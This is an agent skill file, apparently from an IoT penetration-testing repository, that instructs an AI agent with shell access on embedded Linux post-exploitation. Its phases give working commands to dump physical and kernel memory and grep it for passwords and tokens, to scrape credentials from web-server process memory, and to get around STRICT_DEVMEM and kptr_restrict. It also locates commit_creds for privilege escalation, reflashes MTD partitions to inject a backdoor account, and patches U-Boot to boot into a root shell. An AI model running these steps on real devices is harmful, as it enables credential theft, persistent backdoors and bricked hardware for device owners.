AGENT SKILL

dev-mem

Runtime memory access and manipulation on embedded Linux via /dev/mem, /dev/kmem, and MTD devices. Covers physical memory reads/writes, kernel symbol resolution via /proc/kallsyms, live firmware patching with mtd_debug and flashcp, and bypassing memory-access restrictions (CONFIG_STRICT_DEVMEM, kernel.perf_event_paranoid).

License 许可
Apache-2.0
所属仓库
Akapi895/raptix
最近更新
2026-11-06
Stars
★ 0
Forks
0

01 前言 Front Matter

name
dev-mem
metadata
{ "tags": "iot, devmem, kmem, mtd, flashcp, memory-patching, kallsyms, embedded-linux, runtime, kernel", "subdomain": "iot", "when_to_use": "/dev/mem, /dev/kmem, MTD write, mtd_debug, flashcp, memory patch, runtime patch, kernel memory, /proc/kallsyms, devmem2, embedded memory access, live firmware patch", "mitre_attack": "T1601.001, T1601.002, T1068, T1543" }
description
Runtime memory access and manipulation on embedded Linux via /dev/mem, /dev/kmem, and MTD devices. Covers physical memory reads/writes, kernel symbol resolution via /proc/kallsyms, live firmware patching with mtd_debug and flashcp, and bypassing memory-access restrictions (CONFIG_STRICT_DEVMEM, kernel.perf_event_paranoid).
allowed-tools
Bash Read Write

03 SKILL.md 正文

/dev/mem, /dev/kmem, and MTD Runtime Patching

On embedded Linux, physical memory and raw flash are often accessible as character devices. Combined with /proc/kallsyms for kernel symbol resolution, these interfaces allow runtime rootkit injection, credential extraction, and live firmware modification without touching the filesystem.

Prerequisites

  • Shell access on the target (obtained via UART/SSH/telnet or post-exploitation).
  • Target runs Linux (confirms with uname -a).
  • Check access: ls -la /dev/mem /dev/kmem /dev/mtd*.
  • Tools: devmem2 (or /dev/mem via dd), mtd_debug, flashcp, busybox devmem.
# Confirm device nodes exist
ls -la /dev/mem /dev/kmem /dev/mtd* 2>/dev/null

# Confirm kernel version and MTD subsystem
uname -a
cat /proc/mtd

Phase 1 — Physical Memory Read via /dev/mem

1a. devmem2 (most common embedded tool)

# Read 4-byte word at physical address 0x10000000
devmem2 0x10000000 w

# Read byte at address
devmem2 0x10000000 b

# Write 4-byte word (use carefully — can crash SoC peripherals)
devmem2 0x10000000 w 0xDEADBEEF

# BusyBox devmem (same syntax on BusyBox builds)
busybox devmem 0x10000000 32

1b. dd + /dev/mem

# Dump 4KB region of physical RAM starting at 0x80000000 (DRAM base on many MIPS/ARM)
dd if=/dev/mem bs=1024 skip=$((0x80000000 / 1024)) count=4 > /tmp/mem_region.bin

# Read peripheral register (e.g., GPIO base on BCM2835 = 0x3F200000)
dd if=/dev/mem bs=4 skip=$((0x3F200034 / 4)) count=1 2>/dev/null | xxd

# Search physical RAM for a string (e.g., password, key material)
strings /dev/mem 2>/dev/null | grep -iE 'password|secret|key|token' | head -20

# Dump first 32MB of DRAM to exfil
dd if=/dev/mem bs=1M count=32 of=/tmp/memdump_32m.bin

1c. Bypass CONFIG_STRICT_DEVMEM

Kernels with CONFIG_STRICT_DEVMEM=y block non-MMIO physical addresses.

# Check if restriction is active
dmesg 2>/dev/null | grep -i "devmem\|mem: Checking"

# Bypass A: MMIO regions are always permitted — map peripheral registers
#   GPIO, UART, timers are MMIO and bypass STRICT_DEVMEM checks.

# Bypass B: Use /proc/kcore (virtual kernel memory, may still be available)
dd if=/proc/kcore bs=1M count=8 of=/tmp/kcore_partial.bin 2>/dev/null

# Bypass C: Kernel module injection via /dev/kmem (see Phase 2)

# Bypass D: mmap /proc/<pid>/mem of a privileged process
# (works when CAP_SYS_PTRACE is available)
cat /proc/1/maps | grep heap
dd if=/proc/1/mem bs=1 skip=$((heap_start)) count=4096 of=/tmp/init_heap.bin 2>/dev/null

Phase 2 — Kernel Memory via /dev/kmem

/dev/kmem exposes virtual kernel address space. Available on older kernels (pre-3.7) or when compiled without CONFIG_DEVKMEM=n.

# Check kernel virtual addresses from kallsyms
# (available when CONFIG_KALLSYMS=y, common on embedded devices for crash debugging)
cat /proc/kallsyms | grep -E ' sys_call_table| commit_creds| prepare_kernel_cred'
# Example: ffffffff81801460 R sys_call_table

# Read kernel symbol value via /dev/kmem
SYM_ADDR=0xffffffff81801460
dd if=/dev/kmem bs=8 skip=$(( SYM_ADDR / 8 )) count=1 2>/dev/null | xxd

# Patch a kernel variable (e.g., set uid to 0 for current process)
# WARNING: wrong address = immediate kernel panic
# Use devmem2 with the virtual address:
devmem2 $SYM_ADDR q    # quad-word read (64-bit)

2a. Extract kernel credentials from /proc/kcore

# /proc/kcore is ELF-formatted kernel memory snapshot
# Use volatility3 with a Linux profile if available:
vol -f /proc/kcore linux.bash.Bash    # recover bash history from kernel
vol -f /proc/kcore linux.pslist.PsList

# Manual: search for credential structures
strings /proc/kcore 2>/dev/null | grep -E 'root|password|shadow' | head -20

Phase 3 — MTD Raw Flash Access

MTD (Memory Technology Devices) exposes raw NOR/NAND flash. On embedded Linux, /dev/mtd* (char) and /dev/mtdblock* (block) devices are the primary paths for read/write access to firmware partitions.

3a. Partition enumeration

# List all MTD partitions with sizes and names
cat /proc/mtd
# Example output:
# dev:    size   erasesize  name
# mtd0: 00040000 00010000 "u-boot"
# mtd1: 00010000 00010000 "u-boot-env"
# mtd2: 00200000 00010000 "kernel"
# mtd3: 00600000 00010000 "rootfs"
# mtd4: 00200000 00010000 "storage"

3b. Dump MTD partition

# Method A: dd from block device
dd if=/dev/mtdblock3 of=/tmp/rootfs.bin bs=512

# Method B: mtd_debug read (preferred — handles bad blocks on NAND)
mtd_debug read /dev/mtd3 0 $((0x600000)) /tmp/rootfs_debug.bin

# Method C: nanddump (NAND-aware, includes OOB handling)
nanddump --noecc --omitoob /dev/mtd3 -f /tmp/rootfs_nand.bin

3c. Write (patch) an MTD partition

# DANGER: Writing to wrong partition bricks the device.
# Always verify partition map and backup before writing.

# Step 1: Backup the partition to be patched
mtd_debug read /dev/mtd3 0 $((0x600000)) /tmp/rootfs_backup.bin
sha256sum /tmp/rootfs_backup.bin > /tmp/rootfs_backup.bin.sha256

# Step 2: Modify the backup (e.g., inject backdoor account into /etc/passwd)
# Mount squashfs, modify, repack, place in /tmp/rootfs_patched.bin

# Step 3: Erase the MTD partition (REQUIRED before write on NOR flash)
flash_erase /dev/mtd3 0 0        # erase entire partition
# Or with mtd_debug:
mtd_debug erase /dev/mtd3 0 $((0x600000))

# Step 4: Write patched image
flashcp -v /tmp/rootfs_patched.bin /dev/mtd3
# Or mtd_debug write:
mtd_debug write /dev/mtd3 0 $((0x600000)) /tmp/rootfs_patched.bin

# Step 5: Verify write
mtd_debug read /dev/mtd3 0 $((0x600000)) /tmp/rootfs_verify.bin
diff /tmp/rootfs_patched.bin /tmp/rootfs_verify.bin && echo "WRITE OK" || echo "MISMATCH"

3d. U-Boot environment modification via MTD

# U-Boot env is typically in mtd1 (check /proc/mtd for "u-boot-env")
UBOOT_ENV_MTD=/dev/mtd1

# Dump current env
dd if=/dev/mtdblock1 of=/tmp/uboot_env.bin

# Decode: first 4 bytes = CRC32, then null-delimited key=value pairs
python3 -c "
import struct, zlib
data = open('/tmp/uboot_env.bin','rb').read()
crc_stored = struct.unpack('<I', data[:4])[0]
crc_calc = zlib.crc32(data[4:]) & 0xFFFFFFFF
print(f'CRC stored: {crc_stored:#010x}, calc: {crc_calc:#010x}')
env = data[4:].split(b'\\x00')
for e in env:
    if e: print(e.decode(errors='replace'))
"

# Modify env and rewrite with correct CRC
python3 << 'EOF'
import struct, zlib

env_vars = {
    "bootargs": "root=/dev/mtdblock3 rootfstype=squashfs console=ttyS0,115200 init=/bin/sh",
    "bootcmd": "run bootlinux",
    # add more vars as needed
}

# Build null-delimited env block (standard U-Boot env size = 64KB)
ENV_SIZE = 0x10000
payload = b""
for k, v in env_vars.items():
    payload += f"{k}={v}\x00".encode()
payload += b"\x00"
payload = payload.ljust(ENV_SIZE - 4, b"\xff")

crc = struct.pack("<I", zlib.crc32(payload) & 0xFFFFFFFF)
with open("/tmp/uboot_env_patched.bin", "wb") as f:
    f.write(crc + payload)
print("Patched env written")
EOF

# Flash patched env
flash_erase /dev/mtd1 0 0
flashcp /tmp/uboot_env_patched.bin /dev/mtd1

Phase 4 — Live Process Memory Access

# List running processes with memory maps
cat /proc/1/maps       # init/systemd
# Identify heap/stack regions

# Read from process memory (requires same UID or root)
# Read 256 bytes at heap start of PID 1234
HEAP_START=0x00400000  # from /proc/1234/maps
dd if=/proc/1234/mem bs=1 skip=$HEAP_START count=256 of=/tmp/pid_mem.bin 2>/dev/null

# Search for credentials in web server process memory (lighttpd / httpd)
WEB_PID=$(pgrep lighttpd || pgrep httpd || pgrep uhttpd)
strings /proc/$WEB_PID/mem 2>/dev/null | grep -iE 'password|session|token' | head -20

# GDB (if available) — attach to running process
gdb -p $WEB_PID -batch -ex "x/512s 0x$(grep heap /proc/$WEB_PID/maps | head -1 | cut -d- -f1)" \
    2>/dev/null | grep -iE 'password|secret|key'

Phase 5 — /proc/kallsyms Exploitation

# Read symbol table (requires root or kernel.kptr_restrict=0)
cat /proc/kallsyms | grep -E 'sys_call_table|commit_creds|prepare_kernel_cred|selinux'

# Check kptr_restrict setting
cat /proc/sys/kernel/kptr_restrict
# 0 = all addresses visible, 1 = visible to root, 2 = hidden always

# Lower restriction (if writable — common on IoT with permissive sysctl)
echo 0 > /proc/sys/kernel/kptr_restrict

# Use symbol addresses for kernel exploit primitives
# commit_creds(prepare_kernel_cred(0)) pattern for local priv-esc
# (pass to kernel module or mmap-based shellcode)

Evidence

EVDIR=/workspace/evidence/iot/<target>/devmem
mkdir -p "$EVDIR"
cp /tmp/memdump_32m.bin "$EVDIR/" 2>/dev/null
cp /tmp/rootfs_backup.bin "$EVDIR/" 2>/dev/null
sha256sum "$EVDIR"/*.bin > "$EVDIR/checksums.sha256"
echo "MTD partition map:" >> "$EVDIR/notes.txt"
cat /proc/mtd >> "$EVDIR/notes.txt"
echo "kallsyms sys_call_table:" >> "$EVDIR/notes.txt"
cat /proc/kallsyms | grep sys_call_table >> "$EVDIR/notes.txt"

OPSEC Notes

  • MTD erase+write operations are irreversible if the backup is lost. Keep the backup in /workspace/evidence/ before any write operation.
  • Writing wrong data to the U-Boot partition at offset 0x0 bricks the device with no software recovery path. Triple-check partition map from /proc/mtd before writing.
  • /dev/mem reads of active MMIO registers (UART, SPI, GPIO) can interfere with peripheral operation and may trigger watchdog resets.
  • On hardened devices (CONFIG_STRICT_DEVMEM, kernel.dmesg_restrict), memory access may generate audit log entries visible to the vendor's telemetry pipeline.
  • MTD writes generate wear on flash cells; each erase cycle degrades the chip. Limit writes to the minimum needed; document all writes for device-return procedures.

References

  • mtd-utils documentation: https://github.com/sigma-star/mtd-utils
  • Linux MTD subsystem: https://www.linux-mtd.infradead.org/doc/general.html
  • devmem2 tool: https://github.com/VCTLabs/devmem2
  • Kernel exploitation via /dev/mem: references/devmem-kernel-exploit.md
  • U-Boot env format: https://u-boot.readthedocs.io/en/latest/usage/environment.html

04 同仓库更多 Skills